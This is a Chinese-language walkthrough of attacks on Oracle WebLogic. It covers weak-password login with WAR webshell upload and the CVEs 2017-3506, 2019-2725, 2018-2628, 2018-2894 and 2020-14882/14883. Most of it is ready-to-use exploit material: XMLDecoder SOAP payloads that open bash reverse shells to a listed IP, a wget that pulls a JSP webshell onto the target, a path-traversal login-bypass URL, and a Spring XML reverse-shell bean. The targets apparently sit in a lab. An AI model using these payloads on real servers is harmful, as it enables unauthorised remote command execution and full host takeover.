WebLogic中间件漏洞攻略

​​​​​​后台弱⼝令GetShell

 通过弱⼝令进⼊后台界⾯ , 上传部署war包 , getshell

使用弱口令登录 ，weblogic/Oracle@123

点击部署->安装 

点击上载文件 

点击选择文件，两个都可以 

 使用Godzilla哥斯拉生成jsp木马写入1.jsp文件，再将此文件压缩成zip文件，将此时的1.zip改为1.war

之后使用http://39.105.61.160:7001/1/1.jsp就可以访问到，可以使用此地址使用哥斯拉连接 

CVE-2017-3506

XMLDecoder反序列化漏洞，Weblogic的WLS Security组件对外提供了webserver服务，其中使⽤了XMLDecoder来解析⽤户输⼊的 XML数据，在解析过程中出现反序列化漏洞，可导致任意命令执⾏。

访问http://39.105.61.160:7001/wls-wsat/CoordinatorPortType可以判断wls-wsat组件是否存在

 在此页面用Burp抓包

监听8888端口 

 发送到重放器修改Content-Type: text/xml,右键修改请求方法，改为POST请求方法,将下面的代码改为自己服务器ip和监听的端口

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/39.105.61.160/8888&gt;&amp;1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 点击发送，成功监听到

 CVE-2019-2725

wls9-async等组件为WebLogic Server提供异步通讯服务，默认应⽤于WebLogic部分版本。由于该 WAR包在反序列化处理输⼊信息时存在缺陷，攻击者通过发送精⼼构造的恶意 HTTP 请求，即可获得⽬标服务器的权限，在未授权的情况下远程执⾏命令。

访问http://39.105.61.160:7001/_async/AsyncResponseService出现图中情况，说明漏洞存在

在此页面进行抓包 

将之前的1.jsp文件放到自己服务器的根目录，改名为1.txt 

发送到重放器修改Content-Type: text/xml,右键修改请求方法，改为POST请求方法,将下面的代码改为自己服务器ip和文件名称

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://39.105.61.160/1.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

代码的大致意思是将自己服务器的1.txt文件下载到靶场并命名为678.jsp 

访问http://39.105.61.160:7001/bea_wls_internal/678.jsp就可以访问到，之后可以使用哥斯拉连接 

​​​​​​​CVE-2018-2628

WebLogic T3协议反序列化命令执⾏漏洞(CVE-2018- 2628)

Weblogic Server中的RMI 通信使⽤T3协议在Weblogic Server和其它Java程序（客户端或者其它 Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应⽤程序的每个Java虚拟机（JVM）中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端⼝的应⽤上默认开启， 攻击者可以通过T3协议发送恶意的的反序列化数据, 进⾏反序列化, 实现对存在漏洞的weblogic组件的远程代码执⾏攻击。

使用工具Java反序列化漏洞利用工具V1.7.jar

 ​​​​​​CVE-2018-2894

WebLogic⽂件任意上传漏洞，Weblogic Web Service Test Page中⼀处任意⽂件上传漏洞，Web Service Test Page 在 "⽣产模式"下默认不开启，所以该漏洞有⼀定限制。

通过日志寻找密码 

docker-compose logs | grep password

 base-domain -> ⾼级 -> 启动Web服务测试⻚

 点击保存 , 进⼊ config.do ⽂件进⾏设置，将工作目录修改

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.w  ebservices.wls.ws-testclient-app-wls/4mcj4y/war/css

保存后，点击安全 , 点击添加 

将之前的1.jsp放入 

提交后，按F12，找到1.jsp的代码，发现文件命名规则

 通过http://39.105.61.160:7001/ws_utc/css/config/keystore/1742720661348_1.jsp就可以访问，也可以使用哥斯拉连接

CVE-2020-14882

WebLogic远程代码执⾏漏洞，

CVE-2020-14882   允许远程⽤户绕过管理员控制台组件中的身份验证。

CVE-2020-14883   允许经过身份验证的⽤户在管理员控制台组件上执⾏任何命令。

使⽤这两个漏洞链，未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执⾏任意命令并完全控制主机

使⽤以下url绕过登录认证，多试几次

​​​​​​​​​​​http://39.105.61.160:7001/console/css/%252e%252e%252fconsole.portal

%252e%252e%252是../的url编码 ，使用../的回溯，回到控制台首页

监听6666端口 

 ​​​​​​​

 在自己服务器上新建1.xml，改为自己的ip,端口，监听的端口

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/39.105.61.160/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

 

将网站打开

 访问下面网址

http://39.105.61.160:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://39.105.61.160/1.xml")

成功反弹shell